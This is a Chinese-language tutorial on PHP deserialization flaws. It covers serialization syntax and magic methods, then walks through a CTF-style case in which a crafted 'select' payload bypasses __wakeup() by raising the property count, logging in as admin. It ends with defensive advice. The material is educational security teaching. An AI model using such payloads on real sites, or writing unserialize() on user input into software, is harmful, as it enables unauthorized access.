PHP反序列化漏洞入门
字数 941 2025-08-18 11:39:11
PHP反序列化漏洞详解
序列化与反序列化基础
基本概念
序列化是将一个对象转换成字符串的过程,字符串包含:
- 属性名
- 属性值
- 属性类型
- 对象对应的类名
反序列化则是将序列化后的字符串重新恢复成对象的过程。
PHP序列化语法
示例序列化字符串:
O:3:"Ctf":3:{s:4:"flag";s:13:"flag{abedyui}";s:4:"name";s:7:"Sch0lar";s:3:"age";s:2:"18";}
各部分含义:
O:表示对象(数组用A表示)3:类名长度("Ctf"有3个字符)"Ctf":类名3:对象属性数量s:4:"flag":字符串类型,长度4,属性名"flag"s:13:"flag{abedyui}":字符串类型,长度13,属性值"flag{abedyui}"
访问控制修饰符的影响
不同访问修饰符会影响序列化结果:
- public(公有):正常序列化
- protected(受保护):属性名前会添加
%00*%00- 示例:
s:6:"*age"(实际为%00*%00age)
- 示例:
- private(私有):属性名前会添加
%00类名%00- 示例:
s:9:"Ctfflag"(实际为%00Ctf%00flag)
- 示例:
魔术方法
__sleep()
在序列化时自动调用:
- 可以决定哪些属性被序列化
- 如果不存在,默认序列化所有属性
示例:
public function __sleep() {
return array('flag', 'age'); // 只序列化flag和age属性
}
__wakeup()
在反序列化时自动调用:
- 可对属性进行初始化或修改
- 存在漏洞:当序列化字符串中对象属性个数大于实际属性个数时,会跳过__wakeup()的执行
反序列化漏洞利用
绕过__wakeup()
通过修改序列化字符串中属性数量来绕过__wakeup():
原始序列化:
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
修改为(将属性数量从1改为2):
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
实际利用案例
- 发现目标网站存在
www.zip备份文件 - 分析源码发现反序列化点:
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
- 分析class.php,发现需要满足:
username = 'admin'
password = 100
- 但存在__wakeup()干扰:
function __wakeup(){
$this->username = 'guest';
}
- 构造payload:
- 本地序列化:
$a = new Name('admin',100);
$b = serialize($a);
print_r($b);
得到:
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
- 最终payload(绕过__wakeup()并处理私有属性):
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
关键点:
- 将属性数量从2改为3
- 保留私有属性的
%00前缀(URL编码)
防御建议
- 不要反序列化不可信的用户输入
- 使用白名单验证反序列化前的数据
- 考虑使用JSON等更安全的序列化格式
- 对魔术方法中的安全逻辑进行严格检查
- 保持框架和库的最新版本,及时修复已知漏洞